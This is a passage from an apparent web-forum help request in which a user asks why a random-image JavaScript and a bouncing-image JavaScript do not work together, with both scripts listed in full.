selThumb=$('#slidebox .thumbs a').eq((slideTo-1)); selThumb.removeClass('thumb').addClass('selected_thumb'); } } } } </script> Hello, i am trying to put on my website two jquery scripts, but when i put both of them one works correctly and second one works but like without css. What should i do to make them both work? The two scripts are a random image script and a bouncing image script. After the page loads I can see the bouncing image script working but its the "missing image" box. How can I fix this to load the images from the random script? Also, if anyone has a suggestion on how to give the bouncing images a % transparency that would be very helpful also! I think the easiest way is going to be using transparent png images instead of jpgs but I could be wrong. Anyway, the code is below.......... This is the html file: Code: <html> <head> <script language="JavaScript" src="dynlib.js"></script> <script language="JavaScript" src="bouncingimages.js"></script> <SCRIPT LANGUAGE="JavaScript"> <!-- Begin // Set up the image files to be used. var theImages = new Array() // do not change this // To add more image files, continue with the // pattern below, adding to the array. theImages[0] = '1.jpg' theImages[1] = '2.jpg' theImages[2] = '3.jpg' theImages[3] = '4.jpg' theImages[4] = '5.jpg' theImages[5] = '6.jpg' // do not edit anything below this line var j = 0 var p = theImages.length; var preBuffer = new Array() for (i = 0; i < p; i++){ preBuffer[i] = new Image() preBuffer[i].src = theImages[i] } var whichImage = Math.round(Math.random()*(p-1)); function showImage(){ document.write('+theImages[whichImage]+'); } // End --> </script> </head> <body onLoad="javascript:loadBouncingImages();"> </body> </html> and this is the bouncing images js file: Code: // INITIALIZATION: bouncingImages = new Object(); // CONFIGURATION: bouncingImages.imgCount = 1; bouncingImages.imgWidth = 200; bouncingImages.imgHeight = 200; bouncingImages.imgSrc = "showImage()"; bouncingImages.frameRate = 30; bouncingImages.minRandomSpeed = 2; bouncingImages.maxRandomSpeed = 8; // MAIN: bouncingImages.isLoaded = false; bouncingImages.dirX = new Array(); bouncingImages.dirY = new Array(); bouncingImages.posX = new Array(); bouncingImages.posY = new Array(); bouncingImages.speedX = new Array(); bouncingImages.speedY = new Array(); var winWidth, winHeight; if (dyn) var preloadImgObj = loadImg(bouncingImages.imgSrc); function loadBouncingImages() { if (dyn && !bouncingImages.isLoaded) { winWidth = getWinWidth(); winHeight = getWinHeight(); for (var layerLoop = 0; layerLoop < bouncingImages.imgCount; layerLoop++) { bouncingImages.dirX[layerLoop] = (Math.round(Math.random()) == 0) ? 'left' : 'right'; bouncingImages.dirY[layerLoop] = (Math.round(Math.random()) == 0) ? 'up' : 'down'; bouncingImages.posX[layerLoop] = Math.floor(Math.random() * (winWidth - bouncingImages.imgWidth - 1)) + getDocScrollLeft(); bouncingImages.posY[layerLoop] = Math.floor(Math.random() * (winHeight - bouncingImages.imgHeight - 1)) + getDocScrollTop(); bouncingImages.speedX[layerLoop] = Math.round(Math.random() * (bouncingImages.maxRandomSpeed - bouncingImages.minRandomSpeed)) + bouncingImages.minRandomSpeed; bouncingImages.speedY[layerLoop] = Math.round(Math.random() * (bouncingImages.maxRandomSpeed - bouncingImages.minRandomSpeed)) + bouncingImages.minRandomSpeed; var tempLayerObj = addLayer('bouncingImagesLyr' + layerLoop); bouncingImages['layerObj' + layerLoop] = tempLayerObj; setLayerSize(tempLayerObj,bouncingImages.imgWidth,bouncingImages.imgHeight); setLayerClip(tempLayerObj,0,bouncingImages.imgWidth,bouncingImages.imgHeight,0); setLayerHTML(tempLayerObj,getImgTag('bouncingImagesImg' + layerLoop,preloadImgObj.src,bouncingImages.imgWidth,bouncingImages.imgHeight,0)); moveLayerTo(tempLayerObj,bouncingImages.posX[layerLoop],bouncingImages.posY[layerLoop]); showLayer(tempLayerObj); } bouncingImages.isLoaded = true; moveBouncingImages(); } } function moveBouncingImages() { for (var layerLoop = 0; layerLoop < bouncingImages.imgCount; layerLoop++) { if (bouncingImages.dirX[layerLoop] == 'left') { if (bouncingImages.posX[layerLoop] > bouncingImages.speedX[layerLoop]) bouncingImages.posX[layerLoop] -= bouncingImages.speedX[layerLoop]; else { bouncingImages.dirX[layerLoop] = 'right'; bouncingImages.posX[layerLoop] = 0; } } else if (bouncingImages.dirX[layerLoop] == 'right') { if (bouncingImages.posX[layerLoop] + bouncingImages.imgWidth < winWidth - bouncingImages.speedX[layerLoop]) bouncingImages.posX[layerLoop] += bouncingImages.speedX[layerLoop]; else { bouncingImages.dirX[layerLoop] = 'left'; bouncingImages.posX[layerLoop] = winWidth - bouncingImages.imgWidth; } } if (bouncingImages.dirY[layerLoop] == 'up') { if (bouncingImages.posY[layerLoop] > bouncingImages.speedY[layerLoop]) bouncingImages.posY[layerLoop] -= bouncingImages.speedY[layerLoop]; else { bouncingImages.dirY[layerLoop] = 'down'; bouncingImages.posY[layerLoop] = 0; } } else if (bouncingImages.dirY[layerLoop] == 'down') { if (bouncingImages.posY[layerLoop] + bouncingImages.imgHeight < winHeight - bouncingImages.speedY[layerLoop]) bouncingImages.posY[layerLoop] += bouncingImages.speedY[layerLoop]; else { bouncingImages.dirY[layerLoop] = 'up'; bouncingImages.posY[layerLoop] = winHeight - bouncingImages.imgHeight; } } } for (var layerLoop = 0; layerLoop < bouncingImages.imgCount; layerLoop++) moveLayerTo(bouncingImages['layerObj' + layerLoop],bouncingImages.posX[layerLoop] + getDocScrollLeft(),bouncingImages.posY[layerLoop] + getDocScrollTop()); window.setTimeout('moveBouncingImages()',bouncingImages.frameRate); } |